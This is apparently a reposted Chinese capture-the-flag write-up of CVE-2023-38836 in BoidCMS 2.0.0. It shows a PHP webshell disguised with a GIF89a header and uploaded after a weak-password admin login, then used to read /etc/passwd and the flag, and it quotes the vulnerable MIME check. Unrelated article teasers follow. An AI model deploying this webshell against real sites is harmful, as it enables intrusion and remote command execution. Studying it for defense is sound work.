CVE-2023-38836(文件上传+命令执行)

简介

BoidCMS v.2.0.0 存在文件上传漏洞,远程攻击者可通过添加 GIF 头部绕过 MIME 类型检查,执行任意代码。

过程

打开靶场

对网站进行目录扫描

发现后台,登录弱口令账号密码

admin/password

发现文件上传位置

根据简介提示,添加 GIF 头部绕过 MIME 类型检查

上传文件代码

GIF89a
<?php system($_GET[1]);phpinfo();?>

运行

http://eci-2zec8jldo3apelqvizrr.cloudeci1.ichunqiu.com/media/minglingzhixing.php?1=../../../../../etc/passwd

上传成功,并且成功执行

直接cat /flag

结果

得到flag{4f7a065d-06e0-4d24-a8b0-bece0f097ccb}

解析

这是上传一个木马之后,找到后端文件上传函数代码

/*** Upload media file* @param ?string $msg* @param ?string $basename* @return bool*/public function upload_media( ?string &$msg = null, ?string &$basename = null ): bool {if ( ! isset( $_FILES[ 'file' ][ 'error' ] ) || is_array( $_FILES[ 'file' ][ 'error' ] ) ) {$msg = 'Invalid parameters';return false;}switch ( $_FILES[ 'file' ][ 'error' ] ) {case UPLOAD_ERR_OK:break;case UPLOAD_ERR_NO_FILE:$msg = 'No file has been sent';return false;break;case UPLOAD_ERR_INI_SIZE:case UPLOAD_ERR_FORM_SIZE:$msg = 'File too large';return false;break;default:$msg = 'An unexpected error occurred';return false;break;}$tmp_name = $_FILES[ 'file' ][ 'tmp_name' ];$finfo = new finfo( FILEINFO_MIME_TYPE );$type = $finfo->file( $tmp_name );$types = $this->_l( 'media_mime',array('application/json','application/octet-stream','application/ogg','application/pdf','application/photoshop','application/rar','application/svg+xml','application/vnd.ms-excel','application/vnd.ms-powerpoint','application/vnd.ms-word','application/vnd.oasis.opendocument.spreadsheet','application/vnd.oasis.opendocument.text','application/vnd.openxmlformats-officedocument.presentationml.presentation','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet','application/vnd.openxmlformats-officedocument.wordprocessingml.document','application/zip','audio/mp4','audio/mpeg','image/gif','image/jpeg','image/png','image/svg+xml','image/vnd.microsoft.icon','image/webp','image/x-icon','text/css','text/html','text/plain','text/x-asm','video/avi','video/mp4','video/mpeg','video/ogg','video/quicktime','video/webm','video/x-flv','video/x-matroska','video/x-ms-wmv'));

在minglingzhixing.php文件里前几个字节加上GIF89a 则这个文件的 MIME 类型 将会是image/gif。由此便可绕过上传限制,实现木马上传。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/854698.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CentOS 7.9检测硬盘坏区、实物定位(三)

系列文章目录 CentOS 7.9上创建JBOD&#xff08;一&#xff09; CentOS 7.9上创建的JBOD阵列恢复&#xff08;二&#xff09; 文章目录 系列文章目录前言一、在系统中找到硬盘对应的盘符二、使用命令定位实物1.badblocks检测坏块2.对2T以上的硬盘检测&#xff08;对本篇非必要…

我用chatgpt写了一款程序

众所周知&#xff0c;Chatgpt能够帮助人们写代码&#xff0c;前几天苏音试着完全用Chatgpt写一款Python程序 有一句话我很赞同&#xff0c;未来能代替人的不是AI&#xff0c;是会使用AI的人。 最终&#xff0c;写下来效果还不错&#xff0c;完全提升了我的办公效率。 开发前…

Linux Centos7.5 开放指定端口

在Linux中开放特定端口通常涉及配置防火墙规则或网络访问控制。以下是基本步骤&#xff1a; 使用firewalld开放端口 如果你的系统使用firewalld作为防火墙管理工具&#xff0c;可以按照以下步骤操作&#xff1a; 检查当前firewalld状态&#xff1a; sudo firewall-cmd --stat…

PCI 电源管理和设备驱动程序方案

方案 1&#xff1a;关闭设备 1.设备驱动程序&#xff1a;保存专有设备状态。 2.PCI 驱动程序&#xff1a;保存即插即用配置&#xff0c;禁用设备 (中断和 BAR) &#xff0c;并使用 PCI-PM 寄存器将设备置于 D3 中。 3.ACPI 驱动程序&#xff1a;运行 ASL 代码 (_PS3 和 _OFF&a…

0X0-基于Sklearn的机器学习入门:聚类(上)

本节及后续章节将介绍深度学习中的几种聚类算法&#xff0c;所选方法都在Sklearn库中聚类模块有具体实现。本节为上篇&#xff0c;将介绍几种相对基础的聚类算法&#xff0c;包括K-均值算法和均值漂移算法。 目录 X.1 聚类概述 X.1.1 聚类的种类 X.1.2 Sklearn聚类子模块 …

设计模式1

1、面向对象三大特性&#xff1a;封装、继承、多态 2、什么是接口&#xff1f; 3、面向对象的SOLID五大原则 4、简单工厂模式 5、工厂方法模式

网络安全:数据库安全性

文章目录 网络安全&#xff1a;数据库安全性引言数据库安全性的重要性常见的数据库安全威胁数据库安全性的最佳实践数据加密访问控制审计和监控 结语 网络安全&#xff1a;数据库安全性 引言 在前两篇文章中&#xff0c;我们讨论了SQL注入的概念和防范措施。本篇文章将聚焦于…

Python数据分析与建模库-03数据分析处理库Pandas-1.数据读取

该视频主要讲述了pandas库在数据处理中的重要性。 首先介绍了pandas库是基于numpy库封装了一些操作&#xff0c;简化了数据处理过程。然后通过读取CSV文件的例子&#xff0c;演示了如何使用pandas的read_csv函数将数据读入&#xff0c;并展示了数据类型和数据格式。 接着介绍…

HTML中的<iframe>标签及其属性

<iframe>标签在HTML中用于嵌入另一个HTML页面。它提供了一种在当前页面内展示外部内容的方式&#xff0c;而无需离开当前页面。以下是<iframe>的一些常用属性&#xff1a; src&#xff1a;指定要嵌入的页面的URL。width 和 height&#xff1a;设置iframe的尺寸。n…

又一个SQL Developer中调试存储过程的例子

此例基于OBE&#xff08;Oracle By Example&#xff09;的示例。是在SQL Developer中调试存储过程一文的进阶。复习了前文的一些基本概念&#xff0c;并纠正了官方示例的一个错误。 本文使用的是标准的HR 示例 Schema&#xff0c;调试的存储过程源代码如下&#xff1a; CREAT…

【PB案例学习笔记】-22制作一个语音朗读金额小应用

写在前面 这是PB案例学习笔记系列文章的第22篇&#xff0c;该系列文章适合具有一定PB基础的读者。 通过一个个由浅入深的编程实战案例学习&#xff0c;提高编程技巧&#xff0c;以保证小伙伴们能应付公司的各种开发需求。 文章中设计到的源码&#xff0c;小凡都上传到了gite…

关于在word中使用Axmath的报错的解决

介绍 Axmath是数学公式编辑器软件。官网如下。 AxMath/AxGlyph/AxCells (amyxun.com) 支持正版。 在word中使用Axmath 点击word中的“文件”→“选项”。 选择“加载项” 选择“word加载项” 在Axmath默认的安装目录如下&#xff1a; C:\Program Files (x86)\AxMathhao&am…

论文创新点和贡献点该如何挖掘?

贡献点是怎么去挖掘&#xff0c;去写&#xff0c;去找方向。可量化层面 1>精度 2>窗口、token、频率、一些其他特征、embedding 3>时间复杂度、训练推理速度、内存开销啥的 4>时序和通道 局部-全局&#xff08;不同特征视角&#xff09; 5>多任务、数据&…

云计算 | (三)云使能技术

文章目录 📚云使能技术🐇ISP与网络互联架构⭐️Internet服务提供者(ISP)⭐️无连接分组交换(数据报网络)⭐️基于路由器的互联⭐️网络技术和商业考量👀小结🐇数据中心技术⭐️数据中心⭐️计算硬件⭐️存储硬件⭐️网络硬件👀小结🐇虚拟化技术⭐️虚拟化⭐️虚拟…

【头歌】HBase扫描与过滤答案 解除复制粘贴限制

解除复制粘贴限制 当作者遇到这个限制的时候火气起来了三分&#xff0c;然后去网上搜索答案&#xff0c;然后发现了一位【碳烤小肥肠】居然不贴代码&#xff0c;XX链接&#xff0c;贴截图&#xff0c;瞬时火气冲顶&#xff0c;怒写此文 首先启动万能的控制台&#xff0c;然后C…

5年Android 开发者的社招面经总结(值得你记录收藏)

4. 分别代表什么含义&#xff0c;他们有什么区别&#xff1f; 5. 了解过 Java 的集合吗&#xff1f; 6. 说说 HashMap 的底层实现原理&#xff1f; 7. ArrayList 和 LinkedList 的区别&#xff1f; 8. Java 集合中哪些是线程安全的&#xff1f; 9. JVM 的内存…

中年帕金森:守护健康,从容面对生活挑战

在快节奏的现代生活中&#xff0c;中年人群面临着越来越多的健康挑战。其中&#xff0c;帕金森病作为一种常见的神经系统疾病&#xff0c;逐渐引起了人们的关注。帕金森病不仅影响患者的身体健康&#xff0c;还对其日常生活造成极大的困扰。那么&#xff0c;我们该如何应对中年…

android manifest.hal.name

在Android系统中&#xff0c;manifest.hal.name 是在HAL&#xff08;Hardware Abstraction Layer&#xff0c;硬件抽象层&#xff09;相关的配置中使用的一个属性。这个属性是用来定义HAL接口的名称&#xff0c;它是HAL模块身份的一个关键标识。HAL作为Android架构中的重要组成…

智慧分流:探索互联网与物联网的负载均衡技术

数字化时代&#xff0c;个人认为&#xff0c;无论是互联网还是物联网&#xff0c;还是其他网&#xff0c;在各个层级&#xff0c;都对系统的稳定性和效率提出了更高的要求。负载均衡技术作为保障系统平稳运行的关键&#xff0c;其重要性不言而喻。在数字世界的海洋中&#xff0…

vue2+element 组件封装使用

1.图片上传组件 使用 <el-descriptions-item label"附件图片" :span"3"><ImageUpload v-model"picUrl" :fileSize"0" getImg"getImg"></ImageUpload></el-descriptions-item> // 图片getImg(val)…